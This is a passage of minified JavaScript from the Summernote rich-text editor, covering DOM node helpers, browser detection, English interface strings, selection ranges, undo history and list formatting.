i=t[o];if(e(i))return i}},contains:I,all:function(t,e){for(var o=0,n=t.length;o<n;o++)if(!e(t[o]))return!1;return!0},sum:function(t,e){return e=e||C.self,t.reduce(function(t,o){return t+e(o)},0)},from:function(t){for(var e=[],o=t.length,n=-1;++n<o;)e[n]=t[n];return e},isEmpty:function(t){return!t||!t.length},clusterBy:function(t,e){return t.length?S(t).reduce(function(t,o){var n=x(t);return e(x(n),o)?n[n.length]=o:t[t.length]=[o],t},[[w(t)]]):[]},compact:function(t){for(var e=[],o=0,n=t.length;o<n;o++)t[o]&&e.push(t[o]);return e},unique:function(t){for(var e=[],o=0,n=t.length;o<n;o++)I(e,t[o])||e.push(t[o]);return e}},E="function"==typeof define&&define.amd;var A,R=navigator.userAgent,P=/MSIE|Trident/i.test(R);if(P){var L=/MSIE (\d+[.]\d+)/.exec(R);L&&(A=parseFloat(L[1])),(L=/Trident\/.*rv:([0-9]{1,}[.0-9]{0,})/.exec(R))&&(A=parseFloat(L[1]))}var H=/Edge\/\d+/.test(R),D=!!window.CodeMirror;if(!D&&E)if("function"==typeof __webpack_require__)try{require.resolve("codemirror"),D=!0}catch(t){}else if("undefined"!=typeof require)if(void 0!==require.resolve)try{require.resolve("codemirror"),D=!0}catch(t){}else void 0!==require.specified&&(D=require.specified("codemirror"));var F="ontouchstart"in window||navigator.MaxTouchPoints>0||navigator.msMaxTouchPoints>0,B=P||H?"DOMCharacterDataModified DOMSubtreeModified DOMNodeInserted":"input",z={isMac:navigator.appVersion.indexOf("Mac")>-1,isMSIE:P,isEdge:H,isFF:!H&&/firefox/i.test(R),isPhantom:/PhantomJS/i.test(R),isWebkit:!H&&/webkit/i.test(R),isChrome:!H&&/chrome/i.test(R),isSafari:!H&&/safari/i.test(R),browserVersion:A,jqueryVersion:parseFloat(t.fn.jquery),isSupportAmd:E,isSupportTouch:F,hasCodeMirror:D,isFontInstalled:function(e){var o="Comic Sans MS"===e?"Courier New":"Comic Sans MS",n=t("<div>").css({position:"absolute",left:"-9999px",top:"-9999px",fontSize:"200px"}).text("mmmmmmmmmwwwwwww").appendTo(document.body),i=n.css("fontFamily",o).width(),r=n.css("fontFamily",e+","+o).width();return n.remove(),i!==r},isW3CRangeSupport:!!document.createRange,inputEventName:B},M=String.fromCharCode(160);function O(e){return e&&t(e).hasClass("note-editable")}function U(t){return t=t.toUpperCase(),function(e){return e&&e.nodeName.toUpperCase()===t}}function j(t){return t&&3===t.nodeType}function q(t){return t&&/^BR|^IMG|^HR|^IFRAME|^BUTTON|^INPUT/.test(t.nodeName.toUpperCase())}function K(t){return!O(t)&&(t&&/^DIV|^P|^LI|^H[1-7]/.test(t.nodeName.toUpperCase()))}var V=U("PRE"),W=U("LI");var G=U("TABLE"),_=U("DATA");function Z(t){return!(tt(t)||Y(t)||Q(t)||K(t)||G(t)||X(t)||_(t))}function Y(t){return t&&/^UL|^OL/.test(t.nodeName.toUpperCase())}var Q=U("HR");function J(t){return t&&/^TD|^TH/.test(t.nodeName.toUpperCase())}var X=U("BLOCKQUOTE");function tt(t){return J(t)||X(t)||O(t)}var et=U("A");var ot=U("BODY");var nt=z.isMSIE&&z.browserVersion<11?"&nbsp;":"<br>";function it(t){return j(t)?t.nodeValue.length:t?t.childNodes.length:0}function rt(t){var e=it(t);return 0===e||(!j(t)&&1===e&&t.innerHTML===nt||!(!N.all(t.childNodes,j)||""!==t.innerHTML))}function st(t){q(t)||it(t)||(t.innerHTML=nt)}function at(t,e){for(;t;){if(e(t))return t;if(O(t))break;t=t.parentNode}return null}function lt(t,e){e=e||C.fail;var o=[];return at(t,function(t){return O(t)||o.push(t),e(t)}),o}function ct(t,e){e=e||C.fail;for(var o=[];t&&!e(t);)o.push(t),t=t.nextSibling;return o}function dt(t,e){var o=e.nextSibling,n=e.parentNode;return o?n.insertBefore(t,o):n.appendChild(t),t}function ut(e,o){return t.each(o,function(t,o){e.appendChild(o)}),e}function ht(t){return 0===t.offset}function pt(t){return t.offset===it(t.node)}function ft(t){return ht(t)||pt(t)}function mt(t,e){for(;t&&t!==e;){if(0!==vt(t))return!1;t=t.parentNode}return!0}function gt(t,e){if(!e)return!1;for(;t&&t!==e;){if(vt(t)!==it(t.parentNode)-1)return!1;t=t.parentNode}return!0}function vt(t){for(var e=0;t=t.previousSibling;)e+=1;return e}function bt(t){return!!(t&&t.childNodes&&t.childNodes.length)}function yt(t,e){var o,n;if(0===t.offset){if(O(t.node))return null;o=t.node.parentNode,n=vt(t.node)}else bt(t.node)?n=it(o=t.node.childNodes[t.offset-1]):(o=t.node,n=e?0:t.offset-1);return{node:o,offset:n}}function kt(t,e){var o,n;if(it(t.node)===t.offset){if(O(t.node))return null;o=t.node.parentNode,n=vt(t.node)+1}else bt(t.node)?(o=t.node.childNodes[t.offset],n=0):(o=t.node,n=e?it(t.node):t.offset+1);return{node:o,offset:n}}function Ct(t,e){return t.node===e.node&&t.offset===e.offset}function wt(t,e){var o=e&&e.isSkipPaddingBlankHTML,n=e&&e.isNotSplitEdgePoint;if(ft(t)&&(j(t.node)||n)){if(ht(t))return t.node;if(pt(t))return t.node.nextSibling}if(j(t.node))return t.node.splitText(t.offset);var i=t.node.childNodes[t.offset],r=dt(t.node.cloneNode(!1),t.node);return ut(r,ct(i)),o||(st(t.node),st(r)),r}function xt(t,e,o){var n=lt(e.node,C.eq(t));return n.length?1===n.length?wt(e,o):n.reduce(function(t,n){return t===e.node&&(t=wt(e,o)),wt({node:n,offset:t?vt(t):it(n)},o)}):null}function St(t){return document.createElement(t)}function Tt(t,e){if(t&&t.parentNode){if(t.removeNode)return t.removeNode(e);var o=t.parentNode;if(!e){for(var n=[],i=0,r=t.childNodes.length;i<r;i++)n.push(t.childNodes[i]);for(i=0,r=n.length;i<r;i++)o.insertBefore(n[i],t)}o.removeChild(t)}}var It=U("TEXTAREA");function $t(t,e){var o=It(t[0])?t.val():t.html();return e?o.replace(/[\n\r]/g,""):o}var Nt={NBSP_CHAR:M,ZERO_WIDTH_NBSP_CHAR:"\ufeff",blank:nt,emptyPara:"<p>"+nt+"</p>",makePredByNodeName:U,isEditable:O,isControlSizing:function(e){return e&&t(e).hasClass("note-control-sizing")},isText:j,isElement:function(t){return t&&1===t.nodeType},isVoid:q,isPara:K,isPurePara:function(t){return K(t)&&!W(t)},isHeading:function(t){return t&&/^H[1-7]/.test(t.nodeName.toUpperCase())},isInline:Z,isBlock:C.not(Z),isBodyInline:function(t){return Z(t)&&!at(t,K)},isBody:ot,isParaInline:function(t){return Z(t)&&!!at(t,K)},isPre:V,isList:Y,isTable:G,isData:_,isCell:J,isBlockquote:X,isBodyContainer:tt,isAnchor:et,isDiv:U("DIV"),isLi:W,isBR:U("BR"),isSpan:U("SPAN"),isB:U("B"),isU:U("U"),isS:U("S"),isI:U("I"),isImg:U("IMG"),isTextarea:It,isEmpty:rt,isEmptyAnchor:C.and(et,rt),isClosestSibling:function(t,e){return t.nextSibling===e||t.previousSibling===e},withClosestSiblings:function(t,e){e=e||C.ok;var o=[];return t.previousSibling&&e(t.previousSibling)&&o.push(t.previousSibling),o.push(t),t.nextSibling&&e(t.nextSibling)&&o.push(t.nextSibling),o},nodeLength:it,isLeftEdgePoint:ht,isRightEdgePoint:pt,isEdgePoint:ft,isLeftEdgeOf:mt,isRightEdgeOf:gt,isLeftEdgePointOf:function(t,e){return ht(t)&&mt(t.node,e)},isRightEdgePointOf:function(t,e){return pt(t)&&gt(t.node,e)},prevPoint:yt,nextPoint:kt,isSamePoint:Ct,isVisiblePoint:function(t){if(j(t.node)||!bt(t.node)||rt(t.node))return!0;var e=t.node.childNodes[t.offset-1],o=t.node.childNodes[t.offset];return!(e&&!q(e)||o&&!q(o))},prevPointUntil:function(t,e){for(;t;){if(e(t))return t;t=yt(t)}return null},nextPointUntil:function(t,e){for(;t;){if(e(t))return t;t=kt(t)}return null},isCharPoint:function(t){if(!j(t.node))return!1;var e=t.node.nodeValue.charAt(t.offset-1);return e&&" "!==e&&e!==M},walkPoint:function(t,e,o,n){for(var i=t;i&&(o(i),!Ct(i,e));)i=kt(i,n&&t.node!==i.node&&e.node!==i.node)},ancestor:at,singleChildAncestor:function(t,e){for(t=t.parentNode;t&&1===it(t);){if(e(t))return t;if(O(t))break;t=t.parentNode}return null},listAncestor:lt,lastAncestor:function(t,e){var o=lt(t);return N.last(o.filter(e))},listNext:ct,listPrev:function(t,e){e=e||C.fail;for(var o=[];t&&!e(t);)o.push(t),t=t.previousSibling;return o},listDescendant:function(t,e){var o=[];return e=e||C.ok,function n(i){t!==i&&e(i)&&o.push(i);for(var r=0,s=i.childNodes.length;r<s;r++)n(i.childNodes[r])}(t),o},commonAncestor:function(e,o){for(var n=lt(e),i=o;i;i=i.parentNode)if(t.inArray(i,n)>-1)return i;return null},wrap:function(e,o){var n=e.parentNode,i=t("<"+o+">")[0];return n.insertBefore(i,e),i.appendChild(e),i},insertAfter:dt,appendChildNodes:ut,position:vt,hasChildren:bt,makeOffsetPath:function(t,e){return lt(e,C.eq(t)).map(vt).reverse()},fromOffsetPath:function(t,e){for(var o=t,n=0,i=e.length;n<i;n++)o=o.childNodes.length<=e[n]?o.childNodes[o.childNodes.length-1]:o.childNodes[e[n]];return o},splitTree:xt,splitPoint:function(t,e){var o,n,i=e?K:tt,r=lt(t.node,i),s=N.last(r)||t.node;i(s)?(o=r[r.length-2],n=s):n=(o=s).parentNode;var a=o&&xt(o,t,{isSkipPaddingBlankHTML:e,isNotSplitEdgePoint:e});return a||n!==t.node||(a=t.node.childNodes[t.offset]),{rightNode:a,container:n}},create:St,createText:function(t){return document.createTextNode(t)},remove:Tt,removeWhile:function(t,e){for(;t&&!O(t)&&e(t);){var o=t.parentNode;Tt(t),t=o}},replace:function(t,e){if(t.nodeName.toUpperCase()===e.toUpperCase())return t;var o=St(e);return t.style.cssText&&(o.style.cssText=t.style.cssText),ut(o,N.from(t.childNodes)),dt(o,t),Tt(t),o},html:function(e,o){var n=$t(e);o&&(n=n.replace(/<(\/?)(\b(?!!)[^>\s]*)(.*?)(\s*\/?>)/g,function(t,e,o){o=o.toUpperCase();var n=/^DIV|^TD|^TH|^P|^LI|^H[1-7]/.test(o)&&!!e,i=/^BLOCKQUOTE|^TABLE|^TBODY|^TR|^HR|^UL|^OL/.test(o);return t+(n||i?"\n":"")}),n=t.trim(n));return n},value:$t,posFromPlaceholder:function(e){var o=t(e),n=o.offset(),i=o.outerHeight(!0);return{left:n.left,top:n.top+i}},attachEvents:function(t,e){Object.keys(e).forEach(function(o){t.on(o,e[o])})},detachEvents:function(t,e){Object.keys(e).forEach(function(o){t.off(o,e[o])})},isCustomStyleTag:function(t){return t&&!j(t)&&N.contains(t.classList,"note-styletag")}};t.summernote=t.summernote||{lang:{}},t.extend(t.summernote.lang,{"en-US":{font:{bold:"Bold",italic:"Italic",underline:"Underline",clear:"Remove Font Style",height:"Line Height",name:"Font Family",strikethrough:"Strikethrough",subscript:"Subscript",superscript:"Superscript",size:"Font Size"},image:{image:"Picture",insert:"Insert Image",resizeFull:"Resize Full",resizeHalf:"Resize Half",resizeQuarter:"Resize Quarter",floatLeft:"Float Left",floatRight:"Float Right",floatNone:"Float None",shapeRounded:"Shape: Rounded",shapeCircle:"Shape: Circle",shapeThumbnail:"Shape: Thumbnail",shapeNone:"Shape: None",dragImageHere:"Drag image or text here",dropImage:"Drop image or Text",selectFromFiles:"Select from files",maximumFileSize:"Maximum file size",maximumFileSizeError:"Maximum file size exceeded.",url:"Image URL",remove:"Remove Image",original:"Original"},video:{video:"Video",videoLink:"Video Link",insert:"Insert Video",url:"Video URL",providers:"(YouTube, Vimeo, Vine, Instagram, DailyMotion or Youku)"},link:{link:"Link",insert:"Insert Link",unlink:"Unlink",edit:"Edit",textToDisplay:"Text to display",url:"To what URL should this link go?",openInNewWindow:"Open in new window"},table:{table:"Table",addRowAbove:"Add row above",addRowBelow:"Add row below",addColLeft:"Add column left",addColRight:"Add column right",delRow:"Delete row",delCol:"Delete column",delTable:"Delete table"},hr:{insert:"Insert Horizontal Rule"},style:{style:"Style",p:"Normal",blockquote:"Quote",pre:"Code",h1:"Header 1",h2:"Header 2",h3:"Header 3",h4:"Header 4",h5:"Header 5",h6:"Header 6"},lists:{unordered:"Unordered list",ordered:"Ordered list"},options:{help:"Help",fullscreen:"Full Screen",codeview:"Code View"},paragraph:{paragraph:"Paragraph",outdent:"Outdent",indent:"Indent",left:"Align left",center:"Align center",right:"Align right",justify:"Justify full"},color:{recent:"Recent Color",more:"More Color",background:"Background Color",foreground:"Foreground Color",transparent:"Transparent",setTransparent:"Set transparent",reset:"Reset",resetToDefault:"Reset to default"},shortcut:{shortcuts:"Keyboard shortcuts",close:"Close",textFormatting:"Text formatting",action:"Action",paragraphFormatting:"Paragraph formatting",documentStyle:"Document Style",extraKeys:"Extra keys"},help:{insertParagraph:"Insert Paragraph",undo:"Undoes the last command",redo:"Redoes the last command",tab:"Tab",untab:"Untab",bold:"Set a bold style",italic:"Set a italic style",underline:"Set a underline style",strikethrough:"Set a strikethrough style",removeFormat:"Clean a style",justifyLeft:"Set left align",justifyCenter:"Set center align",justifyRight:"Set right align",justifyFull:"Set full align",insertUnorderedList:"Toggle unordered list",insertOrderedList:"Toggle ordered list",outdent:"Outdent on current paragraph",indent:"Indent on current paragraph",formatPara:"Change current block's format as a paragraph(P tag)",formatH1:"Change current block's format as H1",formatH2:"Change current block's format as H2",formatH3:"Change current block's format as H3",formatH4:"Change current block's format as H4",formatH5:"Change current block's format as H5",formatH6:"Change current block's format as H6",insertHorizontalRule:"Insert horizontal rule","linkDialog.show":"Show Link Dialog"},history:{undo:"Undo",redo:"Redo"},specialChar:{specialChar:"SPECIAL CHARACTERS",select:"Select Special characters"}}});var Et={BACKSPACE:8,TAB:9,ENTER:13,SPACE:32,DELETE:46,LEFT:37,UP:38,RIGHT:39,DOWN:40,NUM0:48,NUM1:49,NUM2:50,NUM3:51,NUM4:52,NUM5:53,NUM6:54,NUM7:55,NUM8:56,B:66,E:69,I:73,J:74,K:75,L:76,R:82,S:83,U:85,V:86,Y:89,Z:90,SLASH:191,LEFTBRACKET:219,BACKSLASH:220,RIGHTBRACKET:221},At={isEdit:function(t){return N.contains([Et.BACKSPACE,Et.TAB,Et.ENTER,Et.SPACE,Et.DELETE],t)},isMove:function(t){return N.contains([Et.LEFT,Et.UP,Et.RIGHT,Et.DOWN],t)},nameFromCode:C.invertObject(Et),code:Et};function Rt(t,e){var o,n,i=t.parentElement(),r=document.body.createTextRange(),s=N.from(i.childNodes);for(o=0;o<s.length;o++)if(!Nt.isText(s[o])){if(r.moveToElementText(s[o]),r.compareEndPoints("StartToStart",t)>=0)break;n=s[o]}if(0!==o&&Nt.isText(s[o-1])){var a=document.body.createTextRange(),l=null;a.moveToElementText(n||i),a.collapse(!n),l=n?n.nextSibling:i.firstChild;var c=t.duplicate();c.setEndPoint("StartToStart",a);for(var d=c.text.replace(/[\r\n]/g,"").length;d>l.nodeValue.length&&l.nextSibling;)d-=l.nodeValue.length,l=l.nextSibling;l.nodeValue;e&&l.nextSibling&&Nt.isText(l.nextSibling)&&d===l.nodeValue.length&&(d-=l.nodeValue.length,l=l.nextSibling),i=l,o=d}return{cont:i,offset:o}}function Pt(t){var e=function(t,o){var n,i;if(Nt.isText(t)){var r=Nt.listPrev(t,C.not(Nt.isText)),s=N.last(r).previousSibling;n=s||t.parentNode,o+=N.sum(N.tail(r),Nt.nodeLength),i=!s}else{if(n=t.childNodes[o]||t,Nt.isText(n))return e(n,0);o=0,i=!1}return{node:n,collapseToStart:i,offset:o}},o=document.body.createTextRange(),n=e(t.node,t.offset);return o.moveToElementText(n.node),o.collapse(n.collapseToStart),o.moveStart("character",n.offset),o}var Lt=function(){function e(t,e,o,n){this.sc=t,this.so=e,this.ec=o,this.eo=n,this.isOnEditable=this.makeIsOn(Nt.isEditable),this.isOnList=this.makeIsOn(Nt.isList),this.isOnAnchor=this.makeIsOn(Nt.isAnchor),this.isOnCell=this.makeIsOn(Nt.isCell),this.isOnData=this.makeIsOn(Nt.isData)}return e.prototype.nativeRange=function(){if(z.isW3CRangeSupport){var t=document.createRange();return t.setStart(this.sc,this.so),t.setEnd(this.ec,this.eo),t}var e=Pt({node:this.sc,offset:this.so});return e.setEndPoint("EndToEnd",Pt({node:this.ec,offset:this.eo})),e},e.prototype.getPoints=function(){return{sc:this.sc,so:this.so,ec:this.ec,eo:this.eo}},e.prototype.getStartPoint=function(){return{node:this.sc,offset:this.so}},e.prototype.getEndPoint=function(){return{node:this.ec,offset:this.eo}},e.prototype.select=function(){var t=this.nativeRange();if(z.isW3CRangeSupport){var e=document.getSelection();e.rangeCount>0&&e.removeAllRanges(),e.addRange(t)}else t.select();return this},e.prototype.scrollIntoView=function(e){var o=t(e).height();return e.scrollTop+o<this.sc.offsetTop&&(e.scrollTop+=Math.abs(e.scrollTop+o-this.sc.offsetTop)),this},e.prototype.normalize=function(){var t=function(t,e){if(Nt.isVisiblePoint(t)&&!Nt.isEdgePoint(t)||Nt.isVisiblePoint(t)&&Nt.isRightEdgePoint(t)&&!e||Nt.isVisiblePoint(t)&&Nt.isLeftEdgePoint(t)&&e||Nt.isVisiblePoint(t)&&Nt.isBlock(t.node)&&Nt.isEmpty(t.node))return t;var o=Nt.ancestor(t.node,Nt.isBlock);if((Nt.isLeftEdgePointOf(t,o)||Nt.isVoid(Nt.prevPoint(t).node))&&!e||(Nt.isRightEdgePointOf(t,o)||Nt.isVoid(Nt.nextPoint(t).node))&&e){if(Nt.isVisiblePoint(t))return t;e=!e}return(e?Nt.nextPointUntil(Nt.nextPoint(t),Nt.isVisiblePoint):Nt.prevPointUntil(Nt.prevPoint(t),Nt.isVisiblePoint))||t},o=t(this.getEndPoint(),!1),n=this.isCollapsed()?o:t(this.getStartPoint(),!0);return new e(n.node,n.offset,o.node,o.offset)},e.prototype.nodes=function(t,e){t=t||C.ok;var o=e&&e.includeAncestor,n=e&&e.fullyContains,i=this.getStartPoint(),r=this.getEndPoint(),s=[],a=[];return Nt.walkPoint(i,r,function(e){var i;Nt.isEditable(e.node)||(n?(Nt.isLeftEdgePoint(e)&&a.push(e.node),Nt.isRightEdgePoint(e)&&N.contains(a,e.node)&&(i=e.node)):i=o?Nt.ancestor(e.node,t):e.node,i&&t(i)&&s.push(i))},!0),N.unique(s)},e.prototype.commonAncestor=function(){return Nt.commonAncestor(this.sc,this.ec)},e.prototype.expand=function(t){var o=Nt.ancestor(this.sc,t),n=Nt.ancestor(this.ec,t);if(!o&&!n)return new e(this.sc,this.so,this.ec,this.eo);var i=this.getPoints();return o&&(i.sc=o,i.so=0),n&&(i.ec=n,i.eo=Nt.nodeLength(n)),new e(i.sc,i.so,i.ec,i.eo)},e.prototype.collapse=function(t){return t?new e(this.sc,this.so,this.sc,this.so):new e(this.ec,this.eo,this.ec,this.eo)},e.prototype.splitText=function(){var t=this.sc===this.ec,o=this.getPoints();return Nt.isText(this.ec)&&!Nt.isEdgePoint(this.getEndPoint())&&this.ec.splitText(this.eo),Nt.isText(this.sc)&&!Nt.isEdgePoint(this.getStartPoint())&&(o.sc=this.sc.splitText(this.so),o.so=0,t&&(o.ec=o.sc,o.eo=this.eo-this.so)),new e(o.sc,o.so,o.ec,o.eo)},e.prototype.deleteContents=function(){if(this.isCollapsed())return this;var o=this.splitText(),n=o.nodes(null,{fullyContains:!0}),i=Nt.prevPointUntil(o.getStartPoint(),function(t){return!N.contains(n,t.node)}),r=[];return t.each(n,function(t,e){var o=e.parentNode;i.node!==o&&1===Nt.nodeLength(o)&&r.push(o),Nt.remove(e,!1)}),t.each(r,function(t,e){Nt.remove(e,!1)}),new e(i.node,i.offset,i.node,i.offset).normalize()},e.prototype.makeIsOn=function(t){return function(){var e=Nt.ancestor(this.sc,t);return!!e&&e===Nt.ancestor(this.ec,t)}},e.prototype.isLeftEdgeOf=function(t){if(!Nt.isLeftEdgePoint(this.getStartPoint()))return!1;var e=Nt.ancestor(this.sc,t);return e&&Nt.isLeftEdgeOf(this.sc,e)},e.prototype.isCollapsed=function(){return this.sc===this.ec&&this.so===this.eo},e.prototype.wrapBodyInlineWithPara=function(){if(Nt.isBodyContainer(this.sc)&&Nt.isEmpty(this.sc))return this.sc.innerHTML=Nt.emptyPara,new e(this.sc.firstChild,0,this.sc.firstChild,0);var t,o=this.normalize();if(Nt.isParaInline(this.sc)||Nt.isPara(this.sc))return o;if(Nt.isInline(o.sc)){var n=Nt.listAncestor(o.sc,C.not(Nt.isInline));t=N.last(n),Nt.isInline(t)||(t=n[n.length-2]||o.sc.childNodes[o.so])}else t=o.sc.childNodes[o.so>0?o.so-1:0];var i=Nt.listPrev(t,Nt.isParaInline).reverse();if((i=i.concat(Nt.listNext(t.nextSibling,Nt.isParaInline))).length){var r=Nt.wrap(N.head(i),"p");Nt.appendChildNodes(r,N.tail(i))}return this.normalize()},e.prototype.insertNode=function(t){var e=this.wrapBodyInlineWithPara().deleteContents(),o=Nt.splitPoint(e.getStartPoint(),Nt.isInline(t));return o.rightNode?o.rightNode.parentNode.insertBefore(t,o.rightNode):o.container.appendChild(t),t},e.prototype.pasteHTML=function(e){var o=t("<div></div>").html(e)[0],n=N.from(o.childNodes),i=this.wrapBodyInlineWithPara().deleteContents();return n.reverse().map(function(t){return i.insertNode(t)}).reverse()},e.prototype.toString=function(){var t=this.nativeRange();return z.isW3CRangeSupport?t.toString():t.text},e.prototype.getWordRange=function(t){var o=this.getEndPoint();if(!Nt.isCharPoint(o))return this;var n=Nt.prevPointUntil(o,function(t){return!Nt.isCharPoint(t)});return t&&(o=Nt.nextPointUntil(o,function(t){return!Nt.isCharPoint(t)})),new e(n.node,n.offset,o.node,o.offset)},e.prototype.bookmark=function(t){return{s:{path:Nt.makeOffsetPath(t,this.sc),offset:this.so},e:{path:Nt.makeOffsetPath(t,this.ec),offset:this.eo}}},e.prototype.paraBookmark=function(t){return{s:{path:N.tail(Nt.makeOffsetPath(N.head(t),this.sc)),offset:this.so},e:{path:N.tail(Nt.makeOffsetPath(N.last(t),this.ec)),offset:this.eo}}},e.prototype.getClientRects=function(){return this.nativeRange().getClientRects()},e}(),Ht={create:function(t,e,o,n){if(4===arguments.length)return new Lt(t,e,o,n);if(2===arguments.length)return new Lt(t,e,o=t,n=e);var i=this.createFromSelection();return i||1!==arguments.length?i:(i=this.createFromNode(arguments[0])).collapse(Nt.emptyPara===arguments[0].innerHTML)},createFromSelection:function(){var t,e,o,n;if(z.isW3CRangeSupport){var i=document.getSelection();if(!i||0===i.rangeCount)return null;if(Nt.isBody(i.anchorNode))return null;var r=i.getRangeAt(0);t=r.startContainer,e=r.startOffset,o=r.endContainer,n=r.endOffset}else{var s=document.selection.createRange(),a=s.duplicate();a.collapse(!1);var l=s;l.collapse(!0);var c=Rt(l,!0),d=Rt(a,!1);Nt.isText(c.node)&&Nt.isLeftEdgePoint(c)&&Nt.isTextNode(d.node)&&Nt.isRightEdgePoint(d)&&d.node.nextSibling===c.node&&(c=d),t=c.cont,e=c.offset,o=d.cont,n=d.offset}return new Lt(t,e,o,n)},createFromNode:function(t){var e=t,o=0,n=t,i=Nt.nodeLength(n);return Nt.isVoid(e)&&(o=Nt.listPrev(e).length-1,e=e.parentNode),Nt.isBR(n)?(i=Nt.listPrev(n).length-1,n=n.parentNode):Nt.isVoid(n)&&(i=Nt.listPrev(n).length,n=n.parentNode),this.create(e,o,n,i)},createFromNodeBefore:function(t){return this.createFromNode(t).collapse(!0)},createFromNodeAfter:function(t){return this.createFromNode(t).collapse()},createFromBookmark:function(t,e){var o=Nt.fromOffsetPath(t,e.s.path),n=e.s.offset,i=Nt.fromOffsetPath(t,e.e.path),r=e.e.offset;return new Lt(o,n,i,r)},createFromParaBookmark:function(t,e){var o=t.s.offset,n=t.e.offset,i=Nt.fromOffsetPath(N.head(e),t.s.path),r=Nt.fromOffsetPath(N.last(e),t.e.path);return new Lt(i,o,r,n)}};var Dt=function(){function t(t){this.stack=[],this.stackOffset=-1,this.$editable=t,this.editable=t[0]}return t.prototype.makeSnapshot=function(){var t=Ht.create(this.editable);return{contents:this.$editable.html(),bookmark:t?t.bookmark(this.editable):{s:{path:[],offset:0},e:{path:[],offset:0}}}},t.prototype.applySnapshot=function(t){null!==t.contents&&this.$editable.html(t.contents),null!==t.bookmark&&Ht.createFromBookmark(this.editable,t.bookmark).select()},t.prototype.rewind=function(){this.$editable.html()!==this.stack[this.stackOffset].contents&&this.recordUndo(),this.stackOffset=0,this.applySnapshot(this.stack[this.stackOffset])},t.prototype.reset=function(){this.stack=[],this.stackOffset=-1,this.$editable.html(""),this.recordUndo()},t.prototype.undo=function(){this.$editable.html()!==this.stack[this.stackOffset].contents&&this.recordUndo(),this.stackOffset>0&&(this.stackOffset--,this.applySnapshot(this.stack[this.stackOffset]))},t.prototype.redo=function(){this.stack.length-1>this.stackOffset&&(this.stackOffset++,this.applySnapshot(this.stack[this.stackOffset]))},t.prototype.recordUndo=function(){this.stackOffset++,this.stack.length>this.stackOffset&&(this.stack=this.stack.slice(0,this.stackOffset)),this.stack.push(this.makeSnapshot())},t}(),Ft=function(){function e(){}return e.prototype.jQueryCSS=function(e,o){if(z.jqueryVersion<1.9){var n={};return t.each(o,function(t,o){n[o]=e.css(o)}),n}return e.css(o)},e.prototype.fromNode=function(t){var e=this.jQueryCSS(t,["font-family","font-size","text-align","list-style-type","line-height"])||{};return e["font-size"]=parseInt(e["font-size"],10),e},e.prototype.stylePara=function(e,o){t.each(e.nodes(Nt.isPara,{includeAncestor:!0}),function(e,n){t(n).css(o)})},e.prototype.styleNodes=function(e,o){e=e.splitText();var n=o&&o.nodeName||"SPAN",i=!(!o||!o.expandClosestSibling),r=!(!o||!o.onlyPartialContains);if(e.isCollapsed())return[e.insertNode(Nt.create(n))];var s=Nt.makePredByNodeName(n),a=e.nodes(Nt.isText,{fullyContains:!0}).map(function(t){return Nt.singleChildAncestor(t,s)||Nt.wrap(t,n)});if(i){if(r){var l=e.nodes();s=C.and(s,function(t){return N.contains(l,t)})}return a.map(function(e){var o=Nt.withClosestSiblings(e,s),n=N.head(o),i=N.tail(o);return t.each(i,function(t,e){Nt.appendChildNodes(n,e.childNodes),Nt.remove(e)}),N.head(o)})}return a},e.prototype.current=function(e){var o=t(Nt.isElement(e.sc)?e.sc:e.sc.parentNode),n=this.fromNode(o);try{n=t.extend(n,{"font-bold":document.queryCommandState("bold")?"bold":"normal","font-italic":document.queryCommandState("italic")?"italic":"normal","font-underline":document.queryCommandState("underline")?"underline":"normal","font-subscript":document.queryCommandState("subscript")?"subscript":"normal","font-superscript":document.queryCommandState("superscript")?"superscript":"normal","font-strikethrough":document.queryCommandState("strikethrough")?"strikethrough":"normal","font-family":document.queryCommandValue("fontname")||n["font-family"]})}catch(t){}if(e.isOnList()){var i=t.inArray(n["list-style-type"],["circle","disc","disc-leading-zero","square"])>-1;n["list-style"]=i?"unordered":"ordered"}else n["list-style"]="none";var r=Nt.ancestor(e.sc,Nt.isPara);if(r&&r.style["line-height"])n["line-height"]=r.style.lineHeight;else{var s=parseInt(n["line-height"],10)/parseInt(n["font-size"],10);n["line-height"]=s.toFixed(1)}return n.anchor=e.isOnAnchor()&&Nt.ancestor(e.sc,Nt.isAnchor),n.ancestors=Nt.listAncestor(e.sc,Nt.isEditable),n.range=e,n},e}(),Bt=function(){function e(){}return e.prototype.insertOrderedList=function(t){this.toggleList("OL",t)},e.prototype.insertUnorderedList=function(t){this.toggleList("UL",t)},e.prototype.indent=function(e){var o=this,n=Ht.create(e).wrapBodyInlineWithPara(),i=n.nodes(Nt.isPara,{includeAncestor:!0}),r=N.clusterBy(i,C.peq2("parentNode"));t.each(r,function(e,n){var i=N.head(n);Nt.isLi(i)?o.wrapList(n,i.parentNode.nodeName):t.each(n,function(e,o){t(o).css("marginLeft",function(t,e){return(parseInt(e,10)||0)+25})})}),n.select()},e.prototype.outdent=function(e){var o=this,n=Ht.create(e).wrapBodyInlineWithPara(),i=n.nodes(Nt.isPara,{includeAncestor:!0}),r=N.clusterBy(i,C.peq2("parentNode"));t.each(r,function(e,n){var i=N.head(n);Nt.isLi(i)?o.releaseList([n]):t.each(n,function(e,o){t(o).css("marginLeft",function(t,e){return(e=parseInt(e,10)||0)>25?e-25:""})})}),n.select()},e.prototype.toggleList=function(e,o){var n=this,i=Ht.create(o).wrapBodyInlineWithPara(),r=i.nodes(Nt.isPara,{includeAncestor:!0}),s=i.paraBookmark(r),a=N.clusterBy(r,C.peq2("parentNode"));if(N.find(r,Nt.isPurePara)){var l=[];t.each(a,function(t,o){l=l.concat(n.wrapList(o,e))}),r=l}else{var c=i.nodes(Nt.isList,{includeAncestor:!0}).filter(function(o){return!t.nodeName(o,e)});c.length?t.each(c,function(t,o){Nt.replace(o,e)}):r=this.releaseList(a,!0)}Ht.createFromParaBookmark(s,r).select()},e.prototype.wrapList=function(t,e){var o=N.head(t),n=N.last(t),i=Nt.isList(o.previousSibling)&&o.previousSibling,r=Nt.isList(n.nextSibling)&&n.nextSibling,s=i||Nt.insertAfter(Nt.create(e||"UL"),n);return t=t.map(function(t){return Nt.isPurePara(t)?Nt.replace(t,"LI"):t}),Nt.appendChildNodes(s,t),r&&(Nt.appendChildNodes(s,N.from(r.childNodes)),Nt.remove(r)),t},e.prototype.releaseList=function(e,o){var n=[];return t.each(e,function(e,i){var 